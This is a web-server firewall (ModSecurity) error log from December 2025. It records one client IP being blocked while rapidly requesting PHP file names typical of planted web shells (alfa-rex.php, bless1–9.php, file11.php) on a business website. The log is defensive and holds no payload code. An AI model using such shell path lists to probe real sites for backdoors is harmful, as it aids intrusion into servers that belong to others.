[Sun Dec 21 22:38:53.516667 2025] [:error] [pid 59158:tid 59177] [client 104.215.59.38:24237] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aUgGfY7NvyNF8ab5VgVm1QAAANE"]
[Sun Dec 21 22:38:53.973544 2025] [:error] [pid 30183:tid 30195] [client 104.215.59.38:36024] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aUgGfeCmP2zCzk_WZcUwUwAAAQo"]
[Sun Dec 21 22:38:54.942329 2025] [:error] [pid 59067:tid 59088] [client 104.215.59.38:51607] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/file.php"] [unique_id "aUgGfstpsOP1NfIK_qKFfwAAAA4"]
[Sun Dec 21 22:38:56.291929 2025] [:error] [pid 59070:tid 59142] [client 104.215.59.38:32668] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/file.php"] [unique_id "aUgGgH3dhXne9KX1kgJwiwAAAI4"]
[Sun Dec 21 22:38:57.813987 2025] [:error] [pid 42755:tid 42773] [client 104.215.59.38:35976] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/file.php"] [unique_id "aUgGgeW0XvxgXMTJJbv4YwAAAVA"]
[Sun Dec 21 22:39:04.181238 2025] [:error] [pid 59070:tid 59135] [client 104.215.59.38:3183] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aUgGiH3dhXne9KX1kgJwogAAAIc"]
[Sun Dec 21 22:39:05.053077 2025] [:error] [pid 65237:tid 65258] [client 104.215.59.38:35968] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aUgGiVVJYjxIpnUJfgJhbwAAAZM"]
[Sun Dec 21 22:39:05.497451 2025] [:error] [pid 59158:tid 59182] [client 104.215.59.38:51602] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aUgGiY7NvyNF8ab5VgVm4wAAANY"]
[Sun Dec 21 22:39:08.484968 2025] [:error] [pid 59158:tid 59170] [client 104.215.59.38:51617] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php"] [unique_id "aUgGjI7NvyNF8ab5VgVm7QAAAMo"]
[Sun Dec 21 22:39:08.947304 2025] [:error] [pid 59070:tid 59152] [client 104.215.59.38:24208] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/astab.php"] [unique_id "aUgGjH3dhXne9KX1kgJwrQAAAJg"]
[Sun Dec 21 22:39:09.431900 2025] [:error] [pid 59070:tid 59137] [client 104.215.59.38:51630] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/astab.php"] [unique_id "aUgGjX3dhXne9KX1kgJwrwAAAIk"]
[Sun Dec 21 22:39:10.778022 2025] [:error] [pid 65237:tid 65262] [client 104.215.59.38:3921] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/astab.php"] [unique_id "aUgGjlVJYjxIpnUJfgJhcwAAAZc"]
[Sun Dec 21 22:39:11.608443 2025] [:error] [pid 42755:tid 42757] [client 104.215.59.38:3933] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/astab.php"] [unique_id "aUgGj-W0XvxgXMTJJbv4bQAAAUA"]
[Sun Dec 21 22:39:12.289983 2025] [:error] [pid 59070:tid 59129] [client 104.215.59.38:3143] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless2.php"] [unique_id "aUgGkH3dhXne9KX1kgJwsgAAAIE"]
[Sun Dec 21 22:39:13.239650 2025] [:error] [pid 65237:tid 65260] [client 104.215.59.38:27842] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless2.php"] [unique_id "aUgGkVVJYjxIpnUJfgJhdAAAAZU"]
[Sun Dec 21 22:39:14.025337 2025] [:error] [pid 42755:tid 42760] [client 104.215.59.38:36001] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless2.php"] [unique_id "aUgGkuW0XvxgXMTJJbv4cwAAAUM"]
[Sun Dec 21 22:39:14.746063 2025] [:error] [pid 59067:tid 59098] [client 104.215.59.38:22951] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless2.php"] [unique_id "aUgGkstpsOP1NfIK_qKFlQAAABg"]
[Sun Dec 21 22:39:15.227850 2025] [:error] [pid 65237:tid 65249] [client 104.215.59.38:24317] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless3.php"] [unique_id "aUgGk1VJYjxIpnUJfgJhdwAAAYo"]
[Sun Dec 21 22:39:16.587158 2025] [:error] [pid 59070:tid 59137] [client 104.215.59.38:24221] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless3.php"] [unique_id "aUgGlH3dhXne9KX1kgJwtAAAAIk"]
[Sun Dec 21 22:39:17.242724 2025] [:error] [pid 59067:tid 59087] [client 104.215.59.38:36023] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless3.php"] [unique_id "aUgGlctpsOP1NfIK_qKFmAAAAA0"]
[Sun Dec 21 22:39:18.500166 2025] [:error] [pid 59067:tid 59074] [client 104.215.59.38:36008] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless3.php"] [unique_id "aUgGlstpsOP1NfIK_qKFmQAAAAA"]
[Sun Dec 21 22:39:19.067354 2025] [:error] [pid 59158:tid 59171] [client 104.215.59.38:36007] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aUgGl47NvyNF8ab5VgVm_AAAAMs"]
[Sun Dec 21 22:39:21.085682 2025] [:error] [pid 59070:tid 59129] [client 104.215.59.38:24262] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aUgGmX3dhXne9KX1kgJwtwAAAIE"]
[Sun Dec 21 22:39:22.412476 2025] [:error] [pid 59158:tid 59165] [client 104.215.59.38:24285] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aUgGmo7NvyNF8ab5VgVnAwAAAMU"]
[Sun Dec 21 22:39:23.209659 2025] [:error] [pid 42755:tid 42767] [client 104.215.59.38:38798] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aUgGm-W0XvxgXMTJJbv4eQAAAUo"]
[Sun Dec 21 22:39:24.116517 2025] [:error] [pid 42755:tid 42781] [client 104.215.59.38:27900] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aUgGnOW0XvxgXMTJJbv4fAAAAVg"]
[Sun Dec 21 22:39:24.859028 2025] [:error] [pid 59070:tid 59139] [client 104.215.59.38:36507] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aUgGnH3dhXne9KX1kgJwvQAAAIs"]
[Sun Dec 21 22:39:25.953065 2025] [:error] [pid 59068:tid 59120] [client 104.215.59.38:37021] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aUgGnRmLyLqWUlrjwyew7AAAAFM"]
[Sun Dec 21 22:39:27.338924 2025] [:error] [pid 59067:tid 59086] [client 104.215.59.38:27885] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aUgGn8tpsOP1NfIK_qKFoQAAAAw"]
[Sun Dec 21 22:39:27.850759 2025] [:error] [pid 59068:tid 59107] [client 104.215.59.38:38788] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless6.php"] [unique_id "aUgGnxmLyLqWUlrjwyew7QAAAEY"]
[Sun Dec 21 22:39:28.725732 2025] [:error] [pid 59070:tid 59141] [client 104.215.59.38:3938] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless6.php"] [unique_id "aUgGoH3dhXne9KX1kgJwwAAAAI0"]
[Sun Dec 21 22:39:29.476997 2025] [:error] [pid 59067:tid 59079] [client 104.215.59.38:22941] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless6.php"] [unique_id "aUgGoctpsOP1NfIK_qKFpwAAAAU"]
[Sun Dec 21 22:39:30.101109 2025] [:error] [pid 42755:tid 42772] [client 104.215.59.38:33214] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless6.php"] [unique_id "aUgGouW0XvxgXMTJJbv4iAAAAU8"]
[Sun Dec 21 22:39:32.189324 2025] [:error] [pid 59070:tid 59130] [client 104.215.59.38:32599] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless7.php"] [unique_id "aUgGpH3dhXne9KX1kgJwxwAAAII"]
[Sun Dec 21 22:39:32.651109 2025] [:error] [pid 42755:tid 42770] [client 104.215.59.38:3716] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless7.php"] [unique_id "aUgGpOW0XvxgXMTJJbv4iwAAAU0"]
[Sun Dec 21 22:39:34.102700 2025] [:error] [pid 65237:tid 65259] [client 104.215.59.38:22918] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless7.php"] [unique_id "aUgGplVJYjxIpnUJfgJhgQAAAZQ"]
[Sun Dec 21 22:39:35.487174 2025] [:error] [pid 30183:tid 30188] [client 104.215.59.38:3775] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless7.php"] [unique_id "aUgGp-CmP2zCzk_WZcUwfQAAAQM"]
[Sun Dec 21 22:39:36.839796 2025] [:error] [pid 65237:tid 65258] [client 104.215.59.38:36993] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless8.php"] [unique_id "aUgGqFVJYjxIpnUJfgJhhQAAAZM"]
[Sun Dec 21 22:39:38.833336 2025] [:error] [pid 30183:tid 30200] [client 104.215.59.38:36513] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless8.php"] [unique_id "aUgGquCmP2zCzk_WZcUwgwAAAQ8"]
[Sun Dec 21 22:39:39.672419 2025] [:error] [pid 30183:tid 30193] [client 104.215.59.38:23891] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless8.php"] [unique_id "aUgGq-CmP2zCzk_WZcUwhAAAAQg"]
[Sun Dec 21 22:39:40.474371 2025] [:error] [pid 30183:tid 30198] [client 104.215.59.38:38813] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless8.php"] [unique_id "aUgGrOCmP2zCzk_WZcUwhwAAAQ0"]
[Sun Dec 21 22:39:41.151244 2025] [:error] [pid 59158:tid 59168] [client 104.215.59.38:37014] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless9.php"] [unique_id "aUgGrY7NvyNF8ab5VgVnDQAAAMg"]
[Sun Dec 21 22:39:43.078530 2025] [:error] [pid 59070:tid 59135] [client 104.215.59.38:21180] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless9.php"] [unique_id "aUgGr33dhXne9KX1kgJw0AAAAIc"]
[Sun Dec 21 22:39:43.776302 2025] [:error] [pid 59070:tid 59140] [client 104.215.59.38:36534] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless9.php"] [unique_id "aUgGr33dhXne9KX1kgJw0gAAAIw"]
[Sun Dec 21 22:39:45.445376 2025] [:error] [pid 42755:tid 42778] [client 104.215.59.38:37567] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless9.php"] [unique_id "aUgGseW0XvxgXMTJJbv4lQAAAVU"]
[Sun Dec 21 22:39:46.359967 2025] [:error] [pid 42755:tid 42761] [client 104.215.59.38:3334] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless1.php"] [unique_id "aUgGsuW0XvxgXMTJJbv4mwAAAUQ"]
[Sun Dec 21 22:39:46.831506 2025] [:error] [pid 30183:tid 30201] [client 104.215.59.38:21142] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless1.php"] [unique_id "aUgGsuCmP2zCzk_WZcUwlgAAARA"]
[Sun Dec 21 22:39:47.781638 2025] [:error] [pid 59070:tid 59130] [client 104.215.59.38:21173] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless1.php"] [unique_id "aUgGs33dhXne9KX1kgJw2gAAAII"]
[Sun Dec 21 22:39:48.659684 2025] [:error] [pid 65237:tid 65249] [client 104.215.59.38:3365] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless1.php"] [unique_id "aUgGtFVJYjxIpnUJfgJhlAAAAYo"]
[Sun Dec 21 22:39:49.044301 2025] [:error] [pid 42755:tid 42762] [client 104.215.59.38:27900] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file11.php"] [unique_id "aUgGteW0XvxgXMTJJbv4nwAAAUU"]
[Sun Dec 21 22:39:49.808365 2025] [:error] [pid 65237:tid 65246] [client 104.215.59.38:25140] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file11.php"] [unique_id "aUgGtVVJYjxIpnUJfgJhlgAAAYc"]
[Sun Dec 21 22:39:50.799662 2025] [:error] [pid 59070:tid 59133] [client 104.215.59.38:51473] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file11.php"] [unique_id "aUgGtn3dhXne9KX1kgJw3wAAAIU"]
[Sun Dec 21 22:39:51.323256 2025] [:error] [pid 59158:tid 59167] [client 104.215.59.38:51558] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file11.php"] [unique_id "aUgGt47NvyNF8ab5VgVnEgAAAMc"]
[Sun Dec 21 22:39:52.134744 2025] [:error] [pid 42755:tid 42771] [client 104.215.59.38:38790] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file12.php"] [unique_id "aUgGuOW0XvxgXMTJJbv4pQAAAU4"]
[Sun Dec 21 22:39:53.112415 2025] [:error] [pid 59158:tid 59160] [client 104.215.59.38:3391] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file12.php"] [unique_id "aUgGuY7NvyNF8ab5VgVnGgAAAMA"]
[Sun Dec 21 22:39:53.698152 2025] [:error] [pid 59158:tid 59169] [client 104.215.59.38:22940] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file12.php"] [unique_id "aUgGuY7NvyNF8ab5VgVnHQAAAMk"]
